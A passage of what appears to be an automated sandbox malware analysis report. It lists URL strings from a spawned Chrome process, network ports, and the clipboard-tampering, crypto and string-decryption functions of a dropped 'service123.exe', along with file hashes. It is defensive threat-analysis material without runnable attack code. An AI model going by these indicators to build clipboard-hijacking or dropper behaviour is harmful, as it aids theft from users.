Source: chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000004.00000002.2668447743.00001CEC00C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644647714.00001CEC00C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665952753.00001CEC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665829003.00001CEC007DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663793145.00001CEC004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000004.00000002.2668447743.00001CEC00C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644647714.00001CEC00C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665952753.00001CEC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665829003.00001CEC007DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663793145.00001CEC004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000004.00000003.2630195633.00001BBC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2667515118.00001CEC00A28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000004.00000002.2658936411.00001BBC00238000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000004.00000002.2660291028.00001BBC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2630407066.00001BBC0039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2630195633.00001BBC00390000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000004.00000002.2660291028.00001BBC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2630407066.00001BBC0039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2630195633.00001BBC00390000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000004.00000002.2659758477.00001BBC00770000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000004.00000003.2630195633.00001BBC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2667515118.00001CEC00A28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000004.00000003.2644689041.00001CEC003A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644872265.00001CEC0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644784633.00001CEC010EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000004.00000003.2644689041.00001CEC003A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644872265.00001CEC0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644784633.00001CEC010EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000004.00000003.2630921675.00001BBC006EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2659730291.00001BBC00744000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000004.00000003.2630195633.00001BBC00390000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000004.00000002.2659806226.00001BBC0078C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000004.00000002.2659806226.00001BBC0078C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000004.00000002.2659730291.00001BBC00744000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000004.00000002.2660914724.00001CEC000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2664917201.00001CEC00679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000004.00000002.2660914724.00001CEC000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2664917201.00001CEC00679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000004.00000002.2660914724.00001CEC000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2664917201.00001CEC00679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000004.00000002.2662345318.00001CEC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2660914724.00001CEC000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2664917201.00001CEC00679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000004.00000002.2664112710.00001CEC0050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665541468.00001CEC00760000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2670541698.00001CEC0109C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000004.00000002.2666929744.00001CEC00940000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2670342749.00001CEC00FBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644519262.00001CEC00FBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663665180.00001CEC004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665510793.00001CEC00750000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000004.00000002.2666929744.00001CEC00940000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665201204.00001CEC006E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663665180.00001CEC004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665510793.00001CEC00750000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000004.00000002.2665201204.00001CEC006E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneaf
Source: chrome.exe, 00000004.00000002.2666929744.00001CEC00940000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2670342749.00001CEC00FBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644519262.00001CEC00FBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663665180.00001CEC004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665510793.00001CEC00750000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000004.00000002.2667279062.00001CEC009CB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2667242666.00001CEC009B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000004.00000002.2661702791.00001CEC001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000004.00000002.2668039529.00001CEC00B34000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000004.00000002.2668715361.00001CEC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2639867338.00001CEC00708000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2667939420.00001CEC00B1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000004.00000002.2668715361.00001CEC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2639867338.00001CEC00708000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2667939420.00001CEC00B1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000004.00000002.2668715361.00001CEC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2639867338.00001CEC00708000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000004.00000002.2668715361.00001CEC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2639867338.00001CEC00708000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2667939420.00001CEC00B1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000004.00000002.2668715361.00001CEC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2639867338.00001CEC00708000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2667939420.00001CEC00B1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000004.00000002.2668715361.00001CEC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2662028553.00001CEC002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2639867338.00001CEC00708000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2667939420.00001CEC00B1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000004.00000002.2668715361.00001CEC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2639867338.00001CEC00708000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2667939420.00001CEC00B1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000004.00000002.2668715361.00001CEC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2639867338.00001CEC00708000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000004.00000002.2663793145.00001CEC004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000004.00000002.2667279062.00001CEC009CB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2667242666.00001CEC009B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000004.00000003.2644689041.00001CEC003A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644872265.00001CEC0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644784633.00001CEC010EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000004.00000002.2667242666.00001CEC009B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000004.00000002.2660720624.00001CEC0009C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000004.00000002.2660795409.00001CEC000B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000004.00000002.2661702791.00001CEC001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000004.00000002.2668447743.00001CEC00C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644647714.00001CEC00C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665952753.00001CEC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665829003.00001CEC007DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663793145.00001CEC004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000004.00000002.2668447743.00001CEC00C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644647714.00001CEC00C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665829003.00001CEC007DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663793145.00001CEC004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000004.00000002.2665952753.00001CEC0080C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactionsA
Source: chrome.exe, 00000004.00000002.2667515118.00001CEC00A28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000004.00000002.2661702791.00001CEC001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tasks.googleapis.com/
Source: file.exe, 00000000.00000003.2677487063.00000000072B8000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000004.00000003.2639827554.00001CEC00C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2668447743.00001CEC00C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644647714.00001CEC00C30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000004.00000003.2639827554.00001CEC00C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2668447743.00001CEC00C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644647714.00001CEC00C30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000004.00000003.2639827554.00001CEC00C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2668447743.00001CEC00C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644647714.00001CEC00C30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2660396111.00001CEC00014000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000004.00000002.2665137661.00001CEC006C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000004.00000002.2660396111.00001CEC00014000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000004.00000002.2666004084.00001CEC00820000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/Char9e3
Source: chrome.exe, 00000004.00000002.2668790559.00001CEC00CC0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000004.00000002.2670005652.00001CEC00ED0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2670755083.00001CEC01164000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Source: chrome.exe, 00000004.00000002.2669149115.00001CEC00D50000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000004.00000002.2661702791.00001CEC001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665952753.00001CEC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2670074757.00001CEC00EF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2667148374.00001CEC00970000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000004.00000002.2661702791.00001CEC001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665952753.00001CEC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2670074757.00001CEC00EF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2667148374.00001CEC00970000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000004.00000002.2666244271.00001CEC00870000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: file.exe, 00000000.00000003.2677487063.00000000072B8000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2664112710.00001CEC0050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2664561226.00001CEC005E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2662028553.00001CEC002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2668326618.00001CEC00BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2665541468.00001CEC00760000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000004.00000002.2668326618.00001CEC00BC0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icocom/3625
Source: chrome.exe, 00000004.00000003.2644784633.00001CEC010EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000004.00000002.2663793145.00001CEC004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000004.00000002.2667598065.00001CEC00A68000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000004.00000002.2660396111.00001CEC00014000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000004.00000002.2664561226.00001CEC005E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000004.00000002.2669188064.00001CEC00D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000004.00000002.2663793145.00001CEC004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000004.00000002.2664917201.00001CEC00679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000004.00000002.2664917201.00001CEC00679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000004.00000002.2664917201.00001CEC00679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000004.00000002.2662028553.00001CEC002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2664917201.00001CEC00679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5D9C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 7_2_6C5D9C22
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5D9C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 7_2_6C5D9C22
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5D9D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 7_2_6C5D9D11
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5D9E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 7_2_6C5D9E27

System Summary
barindex
Drops large PE files
Source: C:\Users\user\Desktop\file.exe File dump: service123.exe.0.dr 314617856 Jump to dropped file
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\file.exe Process Stats: CPU usage > 49%
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00E351B0 7_2_00E351B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00E33E20 7_2_00E33E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C602CCE 7_2_6C602CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5CCD00 7_2_6C5CCD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5CEE50 7_2_6C5CEE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5D0FC0 7_2_6C5D0FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C610AC0 7_2_6C610AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5D44F0 7_2_6C5D44F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C6046E0 7_2_6C6046E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5F87C0 7_2_6C5F87C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C6007D0 7_2_6C6007D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C610060 7_2_6C610060
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C602090 7_2_6C602090
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5F2360 7_2_6C5F2360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C61DC70 7_2_6C61DC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5F98F0 7_2_6C5F98F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5D5880 7_2_6C5D5880
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C607A20 7_2_6C607A20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C60DBEE 7_2_6C60DBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C60140E 7_2_6C60140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C611510 7_2_6C611510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C60F610 7_2_6C60F610
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5EF760 7_2_6C5EF760
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5C3000 7_2_6C5C3000
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C5D70C0 7_2_6C5D70C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C6850D0 7_2_6C6850D0
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\service123.exe 05466AC3A1F09726E552D0CBF3BAC625A7EB7944CEDF812F60B066DCBD74AFB1
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\unmYCIPOHmXNjqOesrEy.dll C11792DFC9F60EE410C105F2E44E32019AA128F6E1714DEFB1812956DAF3113C
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C693B20 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C6936E0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C68ADB0 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C693820 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C693560 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C695980 appears 83 times
